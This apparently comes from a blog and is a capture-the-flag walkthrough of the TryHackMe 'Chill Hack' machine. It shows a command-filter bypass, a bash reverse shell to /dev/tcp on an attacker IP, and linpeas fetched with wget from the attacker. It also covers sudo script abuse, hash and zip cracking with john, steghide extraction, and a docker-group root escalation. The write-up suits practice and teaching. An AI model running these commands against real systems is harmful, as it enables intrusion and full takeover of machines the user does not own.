March 1, 20239 minutes

https://tryhackme.com/room/chillhack

Attacker IP = 10.10.10.10

Target IP = 10.10.11.182

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

$ ping -c 1 10.10.11.182
PING 10.10.11.182 (10.10.11.182) 56(84) bytes of data.
64 bytes from 10.10.11.182: icmp_seq=1 ttl=61 time=558 ms

--- 10.10.11.182 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 558.208/558.208/558.208/0.000 ms

In this case it returns a TTL (time to live) of 61, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.182 -oG allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

$ extractPorts allPorts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.11.182
   5   │     [*] Open ports: 21,22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

$ nmap -p21,22,80 -sC -sV 10.10.11.182 -oN versions
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-01 19:15 CET
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.2.28.215
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09f95db918d0b23a822d6e768cc20144 (RSA)
|   256 1bcf3a498b1b20b02c6aa551a88f1e62 (ECDSA)
|_  256 3005cc52c66f6504860f7241c8a439cf (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Game Info
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP#

The first thing nmap reports is that the anonymous user is allowed and there is a file called note.txt.

$ ftp 10.10.11.182                     # Nos conectamos por ftp
Connected to 10.10.11.182.                      
220 (vsFTPd 3.0.3)
Name (10.10.11.182:d3b0o): anonymous   # Con el usuario anonymous
331 Please specify the password.
Password:                              # Sin contraseña
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||8911|)
150 Here comes the directory listing.
-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
226 Directory send OK.
ftp> get note.txt                      # Nos lo pasamos a nuestra máquina
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||15616|)
150 Opening BINARY mode data connection for note.txt (90 bytes).
100% |*****************************************************************************|    90       28.28 KiB/s    00:00 ETA
226 Transfer complete.
90 bytes received in 00:00 (0.29 KiB/s)

Contents of the note.txt file

Anurodh told me that there is some filtering on strings being put in the command – Apaar

From this note we can get 2 possible users

• Apaar
• Anurodh

HTTP#

Subdirectories#

To find subdirectories we’ll use gobuster with the following command

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.182/

/images               (Status: 301) [Size: 313] [--> http://10.10.11.182/images/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.182/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.182/js/]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.11.182/fonts/]
/secret               (Status: 301) [Size: 313] [--> http://10.10.11.182/secret/]

One subdirectory stands out at first glance: /secret

When we open it, we see that we can run commands.

Trying commands, we can see that some of them are blocked…

Exploitation#

If we enter a valid command, such as pwd, followed by “;” and a blocked command, it runs both.

So it would look like this: pwd;ls

Another option would be to put “\” before the command, for example \ls

Now what we’ll do is send ourselves a reverse shell from the target machine to ours.

The first step is to listen on port 443 with nc

nc -nlvp 443

And then we’ll send the following command from the website:

#                           Puerto
pwd;bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
#                 IP Atacante

We get the reverse shell!

$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.2.28.215] from (UNKNOWN) [10.10.11.182] 57032
bash: cannot set terminal process group (1022): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/secret$ 

With ip a we can confirm we are on 10.10.11.182

www-data@ubuntu:/var/www/html/secret$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:36:f5:10:cb:37 brd ff:ff:ff:ff:ff:ff
    inet 10.10.11.182/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 3363sec preferred_lft 3363sec
    inet6 fe80::36:f5ff:fe10:cb37/64 scope link 
       valid_lft forever preferred_lft forever

TTY upgrade#

First of all, to work more comfortably, we upgrade the terminal with the following commands:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg

reset

xterm

export SHELL=bash

export TERM=xterm

Privilege escalation#

Apaar#

With sudo -l we see that we can run the .helpline.sh file in /home/apaar/ as apaar

www-data@ubuntu:/var/www/html/secret$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
www-data@ubuntu:/var/www/html/secret$ 

First of all, let’s look at the contents of that file

#!/bin/bash

echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo

read -p "Enter the person whom you want to talk with: " person

read -p "Hello user! I am $person,  Please enter your message: " msg

$msg 2>/dev/null

echo "Thank you for your precious time!"

It’s a very simple program: in the second input it stores the answer in a variable called msg and runs it…

www-data@ubuntu:/var/www/html/secret$ sudo -u apaar /home/apaar/.helpline.sh

Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: test
Hello user! I am test,  Please enter your message: bash
whoami
apaar

To get a prompt and make ctrl + l etc. work, we can run the following command

script /dev/null -c bash

Anurodh#

mysql (rabbit hole)#

For the escalation we’ll use https://linpeas.sh/, a script that automates privilege escalation enumeration

First we download it to our machine

Then we start a Python server on port 80

sudo python3 -m http.server 80

From the target machine, in the /tmp directory, we download the file.

wget http://10.10.10.10/linpeas.sh

We make it executable with chmod

chmod +x linpeas.sh

And we run it: ./linpeas.sh

It reports 2 ports that are only reachable from localhost

tcp        0      0 127.0.0.1:9001          0.0.0.0:*               LISTEN             
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN

We could also have found this with:

apaar@ubuntu:/tmp$ (netstat -punta || ss --ntpu) | grep "127.0"
(No info could be read for "-p": geteuid()=1001 but you should be root.)
tcp        0      0 127.0.0.1:9001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -  

Port 3306 is the default MySQL port

Inside the /var/www/files directory there is a file called index.php that contains MySQL credentials

Which we can use to connect

apaar@ubuntu:/var/www/files$ mysql -u root -p
Enter password: 
mysql>

First we list the databases

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| webportal          |
+--------------------+
5 rows in set (0.00 sec)

Then we list the tables in the webportal database

mysql> show tables from webportal;
+---------------------+
| Tables_in_webportal |
+---------------------+
| users               |
+---------------------+
1 row in set (0.00 sec)

Finally, we look at the contents of the table

mysql> use webportal
mysql> select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username  | password                         |
+----+-----------+----------+-----------+----------------------------------+
|  1 | Anurodh   | Acharya  | Aurick    | 7e53614ced3640d5de23f111806cc4fd |
|  2 | Apaar     | Dahal    | cullapaar | 686216240e5af30df0501e53c789a649 |
+----+-----------+----------+-----------+----------------------------------+
2 rows in set (0.00 sec)

We can see the hashes of two users

With hash-identifier we check what type they are

$ hash-identifier 7e53614ced3640d5de23f111806cc4fd

Possible Hashs:
[+] MD5

We’ll save each one in a file (hash1, hash2) and try to find the passwords using john with the rockyou wordlist

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash1

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash2

It seems it was a trap, because they are useless :)

Steganography#

Inside the /var/www/files directory there is a file called hacker.php that stands out

Inside hacker.php:

<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>

There is a message that basically says: you have come very far, look in the dark and you will find the answer

Above the message there is a picture, which might contain something

To copy it to our machine, we start a Python server on the target machine

python3 -m http.server

And we download it from our machine

wget http://10.10.11.182:8000/hacker-with-laptop_23-2147985341.jpg

To see whether it hides anything, we’ll use the steghide tool

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

The image contained a backup.zip

backup.zip is password protected, so we’ll extract its hash and then try to crack it with john and the rockyou.txt wordlist

zip2john backup.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash

Now we have the password and can unzip it.

Inside there is a PHP file where, on one line, we can see a condition with a base64 string

if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")

We can decode it with:

echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d

The result is the password for the user anurodh

Root#

When we run id, we see we belong to the docker group

anurodh@ubuntu:/var/www/files/images$ id 
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)

Taking a look at GTFOBins, we can see there is a command to escalate privileges with docker

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

We are root :)